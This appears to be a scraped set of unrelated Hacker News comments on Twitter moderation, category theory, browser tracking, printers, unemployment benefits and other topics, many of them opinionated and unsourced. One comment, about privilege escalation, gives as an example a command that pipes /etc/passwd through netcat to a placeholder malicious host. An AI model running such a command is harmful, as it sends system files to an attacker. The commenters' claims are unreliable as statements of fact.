skysight-inc/HackerNews huggingface dataset:
Facebook/Meta is a Zuckerburg-first organisation.

Moreover, there are still a lot of decisions being made that are basically down to politics rather than engineering merit, or there were while I was there.
1 million dead civilians caused directly by US imperialism is still a lot of accidental deaths. To the point where intentions are completely irrelevant
Twitter 2.0 is not going well with advertisers and he knows it. This is a desperate plea. Will only get worse as more controversies arise

https://theintercept.com/2022/11/29/elon-musk-twitter-andy-n...
Uniform enough that you don’t hear about it.
As a programmer and hobbyist math reader, I found category theory to be very unrewarding (and I gave up on it) because of the lack of interesting theorems and lemmas. My takeaway was that there's Yoneda lemma and really nothing interesting before you reach that. Like, CT describes a set of rules but very little emerges from those rules.

My complaint has nothing to do with whether CT is useful or practical. By contrast, abstract algebra can be taught (e.g., in Herstein's books) as pure abstraction (very dry and without presenting any real-world connections), but you reach Lagrange's theorem right away -- which is an simple-but-awesome result that will wake up your brain. You reach Cayley's theorem and others quickly, and each is more exciting that the last. And this is all while still in the realm of purely-abstract math.
Remember way back before the era of social media mob justice, when there was this concept of 'forgiveness'?

At least some of the banned deserve a second chance. Those who were total monsters will probably be quickly re-banned. Others have found their own echo chambers elsewhere and won't even bother coming back.
This is very similar to what the British comedian James Acaster does/did. He buys music off Bandcamp then puts it on his iPod. He documented it all in his second book Perfect Sound Whatever, it helped him get over a breakup and depression around 2016 if I remember right. He jokes in his book that he has an 'iPod guy' who hooks him up with the old iPods. His recommendations here:

https://www.jamesacaster.com/my-music/
Again, "police shut down rager" was a thing long before COVID. Especially if you live in a college town.

The article even indicates this action took place under "the city's party house ordinance, which became law in 2018".
I became very interested in CT from a biological perspective. The work originates from Robert Rosen who describes how biological/complex systems are not (completely) reducible to formal systems (aka any model of a natural system will always be incomplete+it is impossible to explicitly list out all the rules governing the system) because they "contain a model of themselves" to which they anticipate the future and act on towards their benifit.

Many relate his work as closely tied to Gödel's incompleteness theorem but for biology. The purpose of using category theory is that it is general enough to not talk about specific parts of an organism's construction, but rather how their general functional parts relate to each other.
Sorry, I can't recall in detail.
How do you get him supporting legislating to outlaw hate speech from him saying he wants to promote tolerance?

Tolerance is something every human possesses and should exercise, it's not something that can be legislated. An intolerant person will use their free speech to attack, malign and try to get you fired (which is fair). A tolerant person will let you speak your mind even if they disagree. In no point is there the need for hate speech legislation if you have true free speech.
Calm down, there still are physical offices where people can go and do their stuff, nobody is forcing people to use the online services.
> What problems does it cause to make the locked down experience the default with the option for me to disable that and take control of the device after I buy it?

Facebook will demand you use FacebookStore, which will NOT force apps transparency. THAT is the issue!
Most of the specific issues brought up in that post were fixed at the time the blog was written. More are fixed now.
At this point it's a topic beaten to death, and it's edgy to say, but I really believe the suburb/highway model 95% of America is stuck with is the root of all evil. Whether people voluntarily seek it out or they're trapped in it. Every bad thing I can think of seems to stem from it in one way or another. Physical, mental, financial, environmental, and political health all considered.
Amazon CEO Says He Doesn’t Regret Hiring Spree as Company Starts Layoffs
>Traversable wormhole dynamics on a quantum processor

https://www.nature.com/articles/s41586-022-05424-3

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>Physicists Create ‘the Smallest, Crummiest Wormhole You Can Imagine’

https://www.nytimes.com/2022/11/30/science/physics-wormhole-...

https://archive.ph/QdX54
> First, none of our policies have changed. Our approach to policy enforcement will rely more heavily on de-amplification of violative content: freedom of speech, but not freedom of reach.

They recently unbanned many controversial accounts based solely on Twitter polls. Who do they expect will believe these statements?
As recently as 2006, an entire country was behind a VPN using a single public IP address. If lore can be believed...

https://superuser.com/questions/1013630/why-does-qatar-use-a...
I am familiar with this org from my time at Meta and I think the author paints a rosier picture of their achievements than I would. Let’s just say there is more than one side to the story.
Anybody would agree with you given the following two assumptions-

That these previously banned users were banned for conduct that they would consider hateful

That banning users is the only way to keep the platform safe from hateful conduct

If twitter disagrees with either of these statements, you can see why they would disagree with your point
I used to dine out a lot by myself. At first it is strange, but you can get over it. Other people assume you are traveling or working late. The waitstaff tend to pay more attention to you in my experience. Places I frequented would do things like bring me tea right away.
Regarding the brother printer, what do you do with your replacement ink things?
> Now that you know that Airdrop is not in fact blocked in China, has your opinion changed?

No, because it's a general statement that you can't trust marketing.

Also, looking around at sibling comments because you provided no source, it looks like you're splitting hairs. It may not be blocked, just crippled specifically in China in a way that thwarts how the protesters used it: https://twitter.com/tibor/status/1597296268275240960, https://www.macworld.com/article/1377200/apple-to-limit-aird...:

> By default, AirDrop is set to allow incoming connection requests from Contacts Only, but that setting can be changed to Everyone–popular among protesters and teens alike. Starting with iOS 16.1.1, users in China will find that the “Everyone” option has changed to “Everyone for 10 minutes.” Apple won’t admit why this change is being made in China, but the peer-to-peer nature of AirDrop has made it popular for spreading anti-government protest material, and hopping into your settings every 10 minutes to re-enable the ability to receive AirDrop from strangers makes it a lot less useful for that.

Framing an action that thwarts censorship circumvention as preventing "spam and abuse" is exactly the kind of sweet-smelling lie I was talking about.
It took me about 14 months to get to the point where enjoying something novel didn't invoke guilt. It has gotten, and does and will get, easier, but I also remember where you were very well and I know there's not much I can say that will help you now - it's terrible.
Right Wing Pigeons, to be more precise.
It sort of makes sense if the experiment is about judging not just individual user reactions but the wider reaction of the media, advertisers, "the conversation" to a change.

I don't think that makes it a good idea though, seems like each failed "experiment" poisons the pool and certainly makes it possible to do experiments in isolation.
Sorry for your loss. It's never easy.

However, I do want to take away the stigma of eating alone, watching a movie alone, etc. In my previous life, I was a tech consultant who traveled with a team and then was left behind by myself to finish the job. I spent more time alone in New Orleans, Columbus, Newark, and Dallas than I would have ever expected.

What I learned is that many people are alone. Those of us that were alone, together often met others and weren't so alone. It made the time better.

More importantly, you may not want to go out and eat dinner or go to a movie. That is a reasonable choice. That said, if you do and if you are worried about people thinking about you being alone you should know that most people don't notice anyone else. So they are not making judgments.

Most importantly, there are a lot of us who are alone out there. If you sit at the bar (and don't worry about drinking or not), you'll fit right in with the rest of us who are doing the same thing. We're all in this together.
This is definitely not personal data. The piece of information is not linked to an individual and cannot be used to identify an individual (not the same as a 'user'), not least because it is not unique to each visitor: According to the article all first requests get the same 'last-modified' date, same for all second requests, etc.

Still, this stores data in the browser in a way that might be deemed a technology similar to a cookie, and therefore this might still fall within the various cookie laws, but this is completely outside of personal data regs.
If you're looking for an alternate perspective, I would suggest taking an advanced undergraduate analysis book and working through it, proofs and all. It'll teach you the same kinds of stuff that you're getting out of CT but will give you "working" (lol) knowledge of how to apply it. A lot of mathematical work is about creating math objects and relations and proving properties of these objects through their relations. The exercises in a good algebra book will exercise this muscle and make your software organization better, at least IMO. Learning the definitions just isn't a substitute.

I can see why categories appeal if you're just looking at definitions, but CT often just abstracts/standardizes an approach that folks were already working with when working with rings, groups, topologies, etc. Going through the proofs will teach you when to apply what.

Aluffi (Algebra: Chapter 0) makes a great book that teaches the basics of CT and brings it up while teaching regular algebra. I highly recommend it.
Banning is usually only for repeat offenders. Usually you get multiple suspensions before the ban.

Which is basically what you described and therefore is already how it works.
Yea.. how does he expect this to be interpreted? Their stance hasn't changed.. cool, except before Twitter said some people posted hateful content, and banned them. Now they unbanned them, so what is the non-change?

Does twitter agree that the comments were hateful, did that not change? If didn't change, then twitter agrees they were hateful comments and twitter is now happy to have them on the platform.

Musk can't keep his foot out of his mouth here it seems.. it's very confusing.
This is Eon's previous claim that "nothing has changed" rehashed. It is an attempt to gaslight advertisers; "Do you believe all the people complaining about Nazis, racists and misogynists that you see with your lying eyes, or do you believe our policy statement?"
It doesn't require tracking. Tracking would mean I could tell that user x has returned n times. But I have no idea who has returned, only that someone has returned n times.

The person standing outside Costco is counting people by giving them a colored sticker when they walk through the door. If they show up already having one, the counter issues a different color. Who has the stickers is unknown; only the number of stickers distributed in each color is known.

As has been said, this is not to say the technique couldn't be used for nefarious purposes. In this case, it's not, though.
That is incredible, thank you for posting!

Another comentor said "You'd have enough time to go eat breakfast, mow the lawn, take a shower, and then come back to it being only 58% done." and apart from mowing the lawn it's actually true.
This effect is worth mentioning in this context even though, as another commenter noted, it wasn’t what I meant. Thanks for adding it though. https://loricism.fandom.com/wiki/Gell-Mann_Amnesia_Effect
not sure you can say this when corporate raiders and hostile takeovers were the primary cause of all of this. Big difference between 'US business' and Wall Street
Not to justify anything done by russia, but your comment is veering well into American war crime denialism. You can criticize russia without whitewashing the horrific actions of the US in their own wars of aggression.

https://en.m.wikipedia.org/wiki/Mahmudiyah_rape_and_killings
I have a Huawei phone. I live in the Netherlands and the phone was bought here. The videos are not deleted from my device.

If they do delete, then at least they only do that in China, and they treat other jurisdictions differently.
"as a percentage of people who would like to immigrate there" would also be interesting to see :-x
Freedom of speech doesn’t mean freedom from consequences from that speech. You can say whatever you want, but that doesn’t mean I have to let you sit at my bar.
I don’t understand the inclusion of cancellation in this argument. How is cancellation different from boycotting, a right long upheld by the Supreme Court with direct legal ties to freedom of speech?
Honest question - Maybe he will very quickly? I have no skin in the game, but the occasional Twitter links sent my way in group chats still load just fine, pretty fast actually, and the related page content appears to be less 'spammy'. Seems like a little progress if anything.
Curious about issues with a Chinese-sourced power train.
Oh god it's worse than expected:
https://erik.science/2019/06/21/AVX-fun.html
I agree that it is clever, and it is new to me as well. However, saying that an obvious extension to a technique (posted by multiple people independently, no less) is a different technique altogether and therefore not germane is going a bit far.

If I post a privilege escalation exploit that allows me to execute "cat /etc/sudoers", and somebody points out that it could also be used to execute "cat /etc/passwd | netcat malicious-remote-server.com", that's an obvious extension of the same technique. This is the same, where the same technique may be used for more intrusive attacks than are performed in the initial proof of concept.
If you thought so, then why post what you did?
Nothing new here except that it's not signed Elon, which is a surprise to me. Looks like someone convinced him to put out a sane message out there placating advertisers.
I disagree, but our school systems probably differ.
It's just referencing the fact that the new Twitter is more open and transparent. I can't believe how many people are spinning this as a bad thing.

We heard almost nothing from Parag and little from Jack when he was running it and experiments were opaque from the outside.

Now we're hearing from the CEO and employees like George Hotz about what they are doing and planning, and they're involving the community, asking for feedback directly.
Estonia has greatly embraced the digital identity through smart cards. They have been on the forefront of digitalizing governmental services.

Website: https://www.id.ee/en/

Timeline of implementations: https://e-estonia.com/story/

Github: https://github.com/open-eid
> As a programmer and hobbyist math reader, I found category theory to be very unrewarding (and I gave up on it) because of the lack of interesting theorems and lemmas. My takeaway was that there's Yoneda lemma and really nothing interesting before you reach that

One of the most interesting things in CT are adjoints. They happen literally everywhere. For example, static analysis via abstract interpretation is an example of adjoint (which in this case is called Galois connection). Free structures also give rise to adjoints.
I think you're conflating two different kinds of surveillance. The article is incrementing a counter to track the number of unique visitors.

If one is worried about blackmail or violence, especially from a government, then one should take precautions beyond complaining about the prevalence of browser cookies. Modern life, carrying a mobile internet device with GPS service, using a credit card, and going to places with security cameras, presents a variety of surveillance methods.
> take a moment yourself and try not to react emotionally to a series of completely valid arguments. Were this some other context, or possibly were it a man accused of this, would you be so understanding?

Yes.

> The french magazine itself suspected that the photographer may not exist as a real person by that name. Given the many inconsistencias and empty spots in numerous parts of their work biography and the present circus, it's far from being "just mean" to speculate the same.

I think the article author is engaging in the exact same clickbait online bullying. They emailed asking for higher resolution copies, but either didn't bother to ask her if the photos were manipulated or decided to not include her response.

> For those of us who take photography seriously enough to try being as honest as possible about its provenance and disclosing how our editing process works for the sake of sustaining respect among the public for photographers, things like this self-serving photographer's implicit bullshittery are simply annoying. AI is already letting people simulate images with increasing accuracy and pass them off as real. Someone very publicly being mendacious by more traditional means doesn't help that for others who still want to have their hard-won profession taken seriously still.

If you actually want to help improve the culture around provenance disclosure, bullying minor artists is not a good way to do that.
Well then it's not "entirely online" like the other poster says.
/shrug, depends on how people view the problem.

Smaller communities can be more focused and managed. Trying to get everyone in one place agreeing on one set of rules sounds impossible. At least federation has the potential to let groups exist differently as desired.
Netflix removed In-App Subscriptions on iOS years ago: https://www.macrumors.com/2018/12/28/netflix-no-more-itunes-... .

Now that Apple is under anti-trust scrutiny, Netflix recently added a link to their website just a few months ago: https://techcrunch.com/2022/07/25/netflixs-ios-app-now-has-a...
DCMA requests went unanswered for several days, leading many to post full movies in 2-minute sections.
Thank you, that's kind of you to say.
Actually, it is weird to see groups mentioned in this discussion at all. Non-commutative (generally) groups are useful in dealing with symmetries, but what symmetries can we talk about here? Abelian groups (and modules in general), on the other hand, are completely different beasts (seemingly only useful in homological algebra, algebraic geometry, and topology).

Strings are a (free) monoid with respect to concatenation, sure, but it is easier to learn what a monoid is using strings as an example, rather to try and "learn" about strings by discussing monoids first. Why this is deemed useful by some is beyond me.
I don't. If it's virtually impossible to distinguish a Russian troll farm page from a traditional conservative/radical leftist from a home grown, private individual, then there is no problem. The impact Russian troll farms have had on the US social fabric is widely overestimated, the real harm to the social fabric is increased politicization.
No, at least not in the us. There are caps and in most instances it’s close to $300-400 a week max with a limit on how many weeks you can claim.
I use a big one (think CyberPower and APC) for a small collection of devices including some network hardware. Smaller ones from those brands or AmazonBasics cost around 50 bucks, battery included. I tried a UPS hat, which would have been the most clean-cut solution, but it failed and the battery bloated.
Adam Savage just put out a neat video that featured this company’s CT scanners and software. They scanned two vacuum tube-esque components.

https://youtu.be/iTJvb-qibKQ
> Isn't it the norm pretty much everywhere in the west ?

In my US state (Ohio), weekly benefits for those without dependents cap out at $530. That's about 19% of my current salary. It would be barely enough to cover my mortgage and utilities, but throw in the car (payment / gas / insurance), groceries, incidentals ... I'd be in trouble. (And unlike some of the forward-thinking individuals who've posted here, I don't have several years' worth of savings to rely on.)

Edit: and if, god forbid, I became disabled ... my government-provided benefits would be something like $150 a week. They may as well give me a kiss on the cheek for all the good that amount would do for me.
How do you agree on which signatures or information are actually part of the database? How do you decide who gets to add new entries to the database?

Unless there is some meaningful method for maintaining the current state and each atomic change to that state going backwards, you are losing security guarantees.

You can go down the git route but history is trivially rewrite-able and while git is decentralised, it has no mechanism for coming to a consensus about which history is the right one.

Now you are back to determining consensus. You can either just say "X is the authority" and use a hosted git repo but if that's not viable for your threat model, you are pretty much back to cryptocurrency style consensus (probably Proof of Stake or Proof of Authority depending on your threat model).
> The profession would gain a lot from something like a code of conduct that everyone could make an oath to.

They have a word for this in non-American countries - "regulation".
You can refill them. They typically have a plastic plug on one side, and some companies will refill them for you, or you can buy a refill "kit".

However, the internals of the cartridge will break down over time. Typically it's the "blade" that evens out the powdered toner that wears out, leaving too much toner stuck to the page and results in those gray-page prints and streaks/lines.

If you buy refilled cartridges, the blade seems to be the most common failure point long before you run out of toner.
"Alexa, would you like to hear my racist tirade?
If they do delete, then at least they only do that in China, and they treat other jurisdictions differently.

"If they do have slave labor, then at least they only do that in China, and they treat other jurisdictions differently."

Good to know if that if something is bad, but doesn't affect you personally, it is suddenly no longer bad.
Or just a screwdriver.
He takes 30% for his platform, what's the issue with Apple taking 30% for their own platform? Quit the platform if you want. If consumers value Spotify enough they will leave Apple for it (spoiler: They won't)
Epson has a line of printers that has refillable tanks rather than cartridges. The bottles that the ink comes in are designed so that they do not spill out when held upside down. They must be inserted into the tank to dispense.
> this post is entirely to calm advertisers

Regulators, too [1].

[1] https://www.ft.com/content/a07ca1ae-9f9a-46ee-9457-27bb30e18...
Not while working, but I've been told I look like a serial killer when driving.
And the memes still claim that the UK is metric.
K, I'll take your word for it.